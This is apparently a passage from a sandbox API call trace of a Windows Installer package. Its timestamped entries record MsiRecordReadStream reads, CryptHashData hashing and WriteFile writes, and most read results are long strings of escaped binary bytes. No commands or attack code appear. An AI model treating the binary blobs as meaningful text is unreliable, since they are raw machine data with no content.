CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.400] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.400] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x1eSP`ý\x97r32Ëmq\x01\x18jM+ô<8jó\x02\x11Íù\x8d][]à\x19P¹zñ1\x9fÐ\n-ç|¹³õ¼êÜD´£)À\x1cu¹bÖÃ=ä\x14\x05 ^=\x9ezgÆ$\x1eàÊ\x1aÏ:\x88Ô\"ê¶ë«söá\x0f\x0c¦/\x1c\x08\r\x05\x11ã", pcbDataBuf=0x21df03c) returned 0x0 [0147.407] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.407] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.407] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Pé\x1aÕ\x9b8-áB÷¸`°¥\x1e\x09\x92¯b{»å\x93$K§\x04?\x1d\x98…¤ÌÄmj,Z)â)\x81¢Z\x1bLÆ\x80¹\x01\x1eÎðIÅìå\x11ãÅ\x9b\x03­b@£¶)\x1b\x9d¾\x9aÛóÛ\x1cyU\x04\x99\x84tÓ\x05ddjeÏËþGG\x17Q\x99\x8b(³ºÖpDÃÝFR\r\x81\x91½rô\x17#Þ\x14ùÏãùAÛ=#b8\x93", pcbDataBuf=0x21df03c) returned 0x0 [0147.408] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.408] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.408] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ÛÑÌÞ\x0fU¼8\x936cA)lmß\x0cz7vªÈèèô\x81úò\x81\x01\x81ò\x95\x10TÈ(¡\x04ûuMñØ\x9c¶ÆµqB£\x1bÞÓ\x18ýe\x96\x1f\x83\x15'²9\x8fäå\x8az_\"WüÉYâI%0g¤\x1e\x8b>²\x9dq\"SH\x95`ÓÄ\x1e\x17®\x11ìRj\x02\x91­H'\x96.\x17þ¥\x97]\x03Ãe\x06\x8bÇ\x1føLNÎ5jt:\x04äa+©\\Ç\x8c*\x8aÌ·D8JØnµòC\x1a;7\x92cÚÑÁ¼N\nÑ3Fµ\x7fµ\x89Á\x1a\x8c\x93.útµ\x0fa\x92C\x12«²]á­®¸|ë\x128j1\x81", pcbDataBuf=0x21df03c) returned 0x0 [0147.428] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.428] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.428] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x98·\x05Ò8Þ\x97½æ\x88tåÄÛm\x10\x93n\x83Ôiø\nÄwUs\x97²+P\x94â\x1cÒP\x88«¶Ã\x8brwx\x06|íz\x9c\x08¨0g\x09Épøô£V½Ò6\x80Z\x9b\x14í\x10PG;,\x9aÐÞ\x04d¦öê\x86XÖ\x18°\x87¯\x04\x1e;_T_¾PZê\x83\x9a¹å\x1buÌ#s<ÏéèBCÕ?ü\x09·<-`ÑPÎáû·Êñ\"©oìbëÏ?Ƽ­Â5¤0Þ\x81²LµUFNåmÍA\x82\x17É(÷ïf*\x9dÈN\x14CÀ)°\x016\x18öÞ\x82J=\x8bmÑÊ×~ø*1Ñ(\x01°\x19æPmTh¢da\x80", pcbDataBuf=0x21df03c) returned 0x0 [0147.429] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.429] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.429] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ÁÛæñ\x94¯èí\x8e¼Õx©ñëǸ\x1dÐÅÕç\x1cp\x08ϪÆÛSÊÓV\x03\x910\x10^2ú\x07…ÐÓÇ`\x82ý\x0b\r÷\x7f\n~ß+Üu~\\Ñ\x01Øn4\x86\x1a\x80\x93J\x887°ùm\x06C^\x99\x09àÙ¢ù<\x8f\x09À¡×ýí(ÕÑÃ0ûæ\\c\x0er\x86 \x16I\x8b×\x9a\x11õ¤¶{M°\x86\x13\x97\x82Ãö,½¬Q\x1cºWϧÆ\x91Â2Ì\x83\x02*Mg\x1a~>\x9e$=\x9aÇ\x19&×\x8b/\x04\x9f(U-ë÷În\x90\x02q\x88(/´O´~à}D\x98i\x05Ô­¯Ú ¢Î\x88íá\x87½\x91çOFmmU¡>\x14®jJ@.â\x96\x84¨\x83ºöm9\x9e×\x94ö­ÕKíè~½Â\x86ÀÃû ê=Í7Q\x1fRA1UâÞá»ÅûìCå¯\x8d\\\x0cÁêm\x0fzÌmÔßùõñ\x19IþG:º HÐ\x88¦æü…kÞ\x16/+^º\r¯?\x93\x1f\x86\x17\na\x7f\x1cwáã\x16èξU\x90×Z<åY³\x94ø\x95÷Zè¤Þ\x8dǽ¢\x05?â\x13z\x18'Á8ÚÈ¿üú´\x0f\x0f\x8d{ä\x05\x11\x04Á¿\x86d\x1a", pcbDataBuf=0x21df03c) returned 0x0 [0147.431] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.431] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.431] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="¤ÓsK\x0eÓ\x84h:¤Ê\x93»>ÅÏ\x06\x993ºë­\x8b\x8b\x9ay÷Þ\x17Ö \r2[\x82ê\x89\x13\x97DR8%\x9däÌ¥mÑ_±S$^ÎT\x06\x9d-ñÅÿ[\x17¬\x99/\x80ÂÂ\x8fÆn*\x982\x88õDX\x07qî¯\x82¥@*\x9bÀ­eOÜ|ìxe9¨È\x9fâ¶LY7y\x99\x04\x1e\x94\x09ÌÏÖDÑórºl¶\x91\x13ygZ-\x19ÏñT_;è\x91I¯;4á\x9e¦\x97\x8að­X'a\x09d&5+ø\x9e\x8d2o±mu\x06h\x9eðùíVO\x971Wb\x18ªà\x0eá×ö\x82Aã\x1bgõÉ\x11¯î+¤\x1f\x1aç\x92æ\x07ÔöMäWÃòtï¹o¾¡!È\x8e\x16\x18{ä\x0e\x1f\x1d\x18nÀ\x9fc; ö¨\x10¢ew(", pcbDataBuf=0x21df03c) returned 0x0 [0147.432] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.432] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.432] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\\-#¤\x05\x8fp\x9fpu\x92ãØ\x80z\x0b·\x86Òü1·æT,Ä\x8f¢:º½\x99g¯]´\x81×\x9f\x946Ü[Ö\x8fæ¬-^gU±Â\x06\"", pcbDataBuf=0x21df03c) returned 0x0 [0147.433] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.434] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.434] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="G\x098xsÍkÎ%Þ©;\x1dGX*|³W\x1f!\x1cÍW¡@N\x90,t\x80u²NÆ92·ÚBû\x11ÔýѯïÂWOõ\x83\x89\x86Eu\x92q\x06Ëý\x84Óº\x93e_\x91úÕÓ\x16±\x83÷È\x15ü½¬X\x97¯å,Óz\nÀ»\x8e´\x16\\å\x10mrøÓ?Ô\x14vÍ\x06~\x9f\x04eÚj\x082l¬·\x93\x88P?öÂ\x90î", pcbDataBuf=0x21df03c) returned 0x0 [0147.435] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.435] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.435] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ÏW}>\x0fE1(È \x03\x83`21\x95ÿ©'ÃF¨Q®`\x12Ï`{È\x01²\x9eÊ\x82\x94 ú\x16DDYÅ\x14³Çp\x84ó}W}Ü\x07\x8f.\x9cøSíËT\x8d¼§\x91\x19I\x8e1\x0c,\x83\x14v#\x8e\x92\x9f°æ+W\x92GN\x06Ó\x8d01¥gNóRI¿éD£¥S&Oß\x99¯\x99\x9dôéZ¬zPÛë-V$Q¨\x13©<\x16zöÞ es®®\x97´²·õ\"\x82Z1m\x1a\x08\x8e×\x13C7lÿ;nØ\"Þvý@.±\x02ÌäÅ\n+ðsçùûÆî¶à@\x04,\x8bÊÁ\x15Í[ÛS\x98PûU^ÚASí\x98ñ\\u\x88O\x80\\\x93Uf.'¥ú\x1b\x07±\x05J\x8c|¹£\x94¸ÇÛͱ\x1a{\x8c\x18n=Î\x11\x81yÃ\x96±µU\x98ôÍ`Ae\x16i\x8cÈB«$]\x05$\x97l¸`5)ë\x84\x02\x88%±vÙ\x04Sçþ¤a\x10bózö¡¥\x83¿©ÁÆ\x86ÕÖO\x08á­÷B\x88\x04\x82(Ì°áSä\x7fÀzÎ\x12Ö\x8dO\x07\x9fy\x19¹bë\x08\x09ÜÕ4³3ÍìS\x94kWNi§Þ9fZ³îÞ8¢Éå\x13\r\x99DÃÁô\x1bq\x15\x08¯Ý8…\x90­0¢\x08\x89I\x0fø«gµ(o{2¸\x09<=\x19Yjóä\x95*\x08\x96\x056Ls¸\x15;´XËÌ\n\x8bNÿ\x0c6\x8a\x9bÕx)\x8a\x8e\x93\x0eßôøyñf¹§\x0fG\x0c}ùîP\x1f?\x13\x07§\x92ë\x97Y`B\x9c£Ú\x9eÔÕ·\x13n&\x16!è¯Ø»\x9b\x91|\x08h\x98X÷/UÓg³$G!\x1a³z\x9b\x80h\x0fbûðW\x9a\x9dm\x83×sa¤bî¼þþ×\x9cÈßm\x06A\x12Þ\x09ðË/Ì\x92­w\x0bÒU¢È9pÅ\x8fþ|¼o\x95e~\x04[\x7f:1°±\x10t_\x90\x02ß\x01)=Ú\x8b£pL\x95\x87\x8fÕ\x88ײx÷Ï\x07£®J2Ê\x18¤¿øµúÎÑÇ\x15F\x1fs\x87A\x0c»^ÕÓu!\x9a÷ÕÅû\x05U\x99\x02\x83§ÂöX[?LÀb\x84\x9eþ3¦Ê\x0czêQomU\x8fºF", pcbDataBuf=0x21df03c) returned 0x0 [0147.436] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.436] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.436] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x9b\x96pDo´8Ci]\x19", pcbDataBuf=0x21df03c) returned 0x0 [0147.438] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.438] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.438] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x9bjØ;$\x81>\x91\x80ÿ¸Ïì1ÊÐ^½2w$ÁMsÖ\x8b\x8b\x8b&`­Ñâ\x90\x9bü`ë¹^¾\x88\x88£Æ\nT³$ïý«6[°\x19Õ¹ÜñGÒð\x10\x8aÅØ §\x9eâÏ\x13\x0c\x13¿ßÊ¿\x9eFñÎâìί\x9d\x13ÅÕi¨À(l\x8b(f4é¹\x18N}eÓ°ç\x02\x0e´VÅ\x1c\\÷\x7fì7¢æ<\ro\x92p\x1dU|û\x91\x96\x9c\n\x16\x1c\x0føU ÈO\x1aZÿÓe5>$\x01", pcbDataBuf=0x21df03c) returned 0x0 [0147.439] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.439] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.439] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="þ\x07ôpù\x18JЭÃcÝkû\x0eAQF\x09BÞ\x07\x19½VeÑôa'ÆÿÅ\x0fób_÷WêÜ°\x80mNý\x91\x0c\x124¬a\x15KÃÚøý\x81\x05£r\x9bHK\x1b\x10pD[¦'\x11d¯.¨È\x14Ì\x1cæè:\x8cR…jR°\x04¿¥@\x07>\x1a*}·S\x01Þ\x81[=]\x0cõã\x8d'\x94LW\x7f·¬ñÿ¸¹8û¾g¶8é\x15»çÉ\x10êÍ\x1bÖºoÑÓ]A±Ö\x98ÿ\x9b=ÑX", pcbDataBuf=0x21df03c) returned 0x0 [0147.454] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.454] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.454] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="5@\x80и\x88°uîàg\"\x10\x94\"\x96\x19ð\x9bÏE!\x99ò\x1d\x09ï\x9d o©c\x1b¼\x9cªà\x1cìø¬3F÷PHL æÃ\x86M+Øâ\x09\x1d\x9aÀ Äk\x07V\x84Ñ}±+1¼\x0c|\x09\x18½ \x19Ù½\x16\x99hGåÕ\x8aé¼#m4F®\rk\x89òW\x8eXc=ÕZ\x94¤Äô&õÒ¤B\x8a\x83?\x0bQìGV·u4ÊLüÇß/\\\x89\x86\x8e\x9b\x13¶\x18", pcbDataBuf=0x21df03c) returned 0x0 [0147.455] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.455] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.455] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="{W©\x0b?¶\x84h*r¥»°\x01a®\x82ù:e\\_ªêp¹¢%\x0füï\x0c:¢\x9a\x91pôè\x88\x9fÿ…\x13'@([Ôù\x8a?Qõ{¨\x91ñù\x19\x11\x88½\x82\x92/\x97¬Ð[\x86æ\x9a\x90!,¨ñ=Ðv-4¿ÈU0\x15ìá<óUDÕÍhd", pcbDataBuf=0x21df03c) returned 0x0 [0147.456] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.456] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.457] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="e¤øû\x14ç87íJÄAQë¨t\x8f\x12uNX·$\x11í\x92\x92…ÀÕP9¹ø\x95¬oº\x04ݤ\x133c\x8aåa\x16OuÒ\x18oiÐýÑò\x89îͳâjÊéª/ßg\x01î\x99\x9b\x87\x9c¦\x8c\x06-\x0cÕÒS´qN¼B)z\x9e(ZÝw-1Á]@Q\x84]c¤9-\x10cÀ%G\x13\x890m8êÌo}¨.î\x8cÛÒW8Ë\x01Éþ¶^Áå0\x1b\x96Íéj\x8c:d\x09C%\x18Gw\x84\x9e\x8f\\B5©g\x8b\x05\x0b#\x8e\x96ÌVZ\x8c\x0e\x7f-\x02K_áø¤Z\x83¼\x89%:\x02\x90ܪӬá&f\x8drFÑïs¼_\x102vKî\x11/vc\x84\x1e°m|À9üÕq\x96ûf\x83°º¢\x04ø\x89ö7ùqÏ\x19Ö÷á-Óø\x92Bâ\x17\x8aú\x82|£¨×K\x0f3ASK\x06ÓøYq·q).Ó-Ö(l\x04ô§ÃF§úgùwy\x91%C\x0c\x8bý…K]E\x08Ç!c¾\x81\x14S'0ko8tY\x81ºÿN$fĽâ\x83:Z\x0eq\x1d\x7f\x0cè\x97$\x0b^\x93¥þ¬nQ=Ú·0S ªÖ\x8e?\x93Å\x83\x1b Ùl\x0c3iö5f¸Ë¶¬Wå\x06r0nkx\x04.m\x8fÖõ\x90\x0e¤eÉ«~\x94\x8e©Z\x18\x95\x18jl¡Ìß\x17:ö¸ä/B#BË\x8aΰõ-_Òqý\x99(\x81ÚÝÚ­b\x16õ\x1d¦ØÞÑ\x9d(\x12¸­\x8e%*\n\x15h·\x19\x99kÚ\x8b 6ÀÙtP\x04\x83Û\x8eHp.yêÿ±Ò\x01¡ò\x974#&]]$ð·\x81<\x89³~\x91­9Ñ\x0b|Çú\x9eKdI·\x8dþ%Q\x16\\Ávdo\x94X\x1b³\x9bm\x91×:ë£í\x96±õ¯H\x04+1A\x9e7¾©L!Tþæ\"zAêúl\x7fq¹±®æ\x1a", pcbDataBuf=0x21df03c) returned 0x0 [0147.458] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.458] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.458] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="lãÐ`äl«p\x0b#åÀÌz", pcbDataBuf=0x21df03c) returned 0x0 [0147.459] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.459] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.460] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="=\x19\x88j$Hòp\x15\x8e\x7f£¾Û\x02\x041nçlî\x92\nO\x0fÔ\x8c@Ô|\x945¿èw\x8e\x81¿\x95s\x0f®h\x17£ÁÃýg,r\x88\x9f ØR\x8b", pcbDataBuf=0x21df03c) returned 0x0 [0147.461] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.461] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.461] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ÖG9ÝÕÑò\x0fÅئÝe§ñd\x9du\x1eê ß\x9en£\x116ë¼\x9e&Î\x8cöé#\"\x9e¸\x10\x9f`iP3ß\x9büª¹hâb\x8e\x1cóeëì\x8f\x81\x8a\x10f·\x9c\x984ü'Yn\x9bxcÃ\x04>@\x0b\x03i>!\x0fB©M_FÎ\x14§\x95Äþ¢\x90\x0f©\x8aÐÒ\"p\x10,î\x04&\x0c\x1a\x98\x17ÚúÃç®\x88\x93\x8d\x1c\x97Ë\x84ÌÇ\x98&m\x08¯b\x83`I\x8bn\x1bfÁû¢\x99¸<à! ÚrV\x94»u`Í\x1a+Å\x15\x12Î4ãlù\x016Õ! S³±\x09ô'Ò5©§¾\x90Ur`RøÇi¬ÌÒÿ7X¿óÝ9ò\x12\x10ØÅ:~\x88\x0eD", pcbDataBuf=0x21df03c) returned 0x0 [0147.463] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.463] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.463] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="_¯:\x05õIÕh\x14ìq°vÏ{ì§0h\x81Ú\x9by\x90\x12\x8244þx\x8aü+¿[\x98\x03º\x90$iõ¶4^n|Ä{\x9c\x0cwu?ß\x8d\x8e\x0fÈ3ýZqÞÏöiî\x9dÓ¢Ôezv½Í\x9cÆ\x89\x88UÙ}\n¤\x0föô<®j§÷OVi\x83(LK§\nñ°\x108ÒÅÅ{\x8dõÂ˼«\x0f\\Zs5\\iô\x80}À \x04ܬàµÑ", pcbDataBuf=0x21df03c) returned 0x0 [0147.464] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.464] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.465] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x97c\x0b»\x88S\x88¹=\x07¹hz\x13ê]÷@.´\x18\x1f¦2ÞÕ\x8c´1ï\x02#uFï1\x96uìeå\x98÷\x8a\x11i\x0b£Åܪ½\rÛ0Ë\x92\x16eª40á\x09\x977ÛÁÊóÑêÉÛË¡«Ìã«}n¸±\x0b»ûG\x15\x10w\x0f\x80±Cz\x91r\x01\x0fäÞÞÔ'OáÜÞÃçª)Oõ\x9bV\x15\x8d&{v®f\x1dÆWf.\x81\x1bN°^\x91\x16M\x0b´îüot\x08u~\rÝ-b#N*\x13aá+H&ß°2F%Ó\x9bÓøÌOÀçÄ\x03}…OGÔ\x80ËÆ?bÁØá7¢ÞqÛ+5ÙáHE\x8d\x13)\x9e6¦\x8aÃ:0\\<á0Ö4y㩦P\x89\x0c0¨ÜSЭ\x9c\x11©¶Äk8\x98\x06\x81\x83\x95¿R\x1b\r\x1a\x1a\x8dúqÜykÁÃ~-U…\x7fº\x87\x80´f=À)\x9f¦©à;2Ê:ê#DO\x9cP_î¦\x11B\x8c~\" \x86a", pcbDataBuf=0x21df03c) returned 0x0 [0147.466] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.466] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.466] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x7f»\x07ä×6…ðêo\x02À\x1d\x8c¹ç\x8a\x90\x92bhû°(zDªo;ßÎ\x1b\x8cÉ\x0cÇÒ\x94{ÚóÔ6yæ^Q;4\x0cQ+¥³ð\x15\x11¿l\x9aøD\x018\n)\x1eë×\x0f(Fêüþµyº)ßå¼3\x82y4\x19ø-î9ª®B\x1eÓ`H\x12ò\x83\x8c\x86vÊ\x8e\x99rY\x1c:\x95möÌ/iã\x13s\x95çA%k:…^\x91c\x01$k|\x1d\x055AFÏ\x93\x14ª[\x1dí\"¾\x08Ç\x1bY wp,BL\x80*&Ì\x1f@¯`+ϳ\x92\x82T\x8c\x06õ½Ìía\x80¦mV\x86'oÜïí\n\x1eKR\x80Ö;\x94Gø\x1b»\x83\x11 q0Ü`<\x89¸Ü[¡î¨yéDöß±Y!õ5\x0fWG»ò\x0b%Ù\x9a…\x8f6b\x11\x9d2CQ3<ÚÁGe¼Wþ]\x0e\x13©\x05îR:¦\x94Ø%\x9fg\x9b<\rK[£{ÿHE\x05´]fj\x02Oo½b\x0cJ\x91úÃ\x82\x86\rÁÄtb¸´\x1b ïÑ\x1eNP:R\x14½C\x09gÇa½\x13×â\x8c¹q\x1b¥\x14²âïMóï\x0fpxÒéüXsJKe%\x84b¿L·\x88ª£æ´J<\x05\x0f\x84\x92y¸É\x9aâ\x0c\x0bù\x05¼\x96ó¾¥N´öé·´ã\x91Ç9q#\x81\rå\x91\x1c\x9f(AA:\x19·ä}/Çï\x9eu\x1b]/\x83\x95k\x8bw\x9d0n\x8e\x9f§ì»K\x1b@~\x9es¢Ïì!\x94V>\x82¿Î`9Y¹¢Wk§á±Í!\x8a\x7f¹\nÛ»Òè\x84\x90%t^\x99'©¯¬6\x0f\x17}­âëPæýIäf'©i]¿´\x96\x04\x7f`V\x9fgþ¨kªA@ñ³=K\x0bELu\x16\x9d­¬6o\\ZÞ\x06-Ñ\x84\x92\x9e\x97-ZÛÍ\x03ßP\x0b³\x96Åó\x95ËÍÊ:v5!e\x97\x9c\x1e\x83vÞ{yܸ@\x0b\x8d4\x8dÇ\x9fp£eásû8Õ¥\x93¬o¸\x86Û(Òðg³\x90ô\x84fêMÅ\x82ÿ\x0f\x90\x14\x11ZÌ\x92þ³þÏKkÇ\x92A\x08v\x9c\x19ZëÏd©6Î\x1bW%<Å®!/,z,9ðóÒØi.E=g8SÁe:sx\x98wqÂ1\x12´ºé/&±nÞ÷E\x12\x91áØ 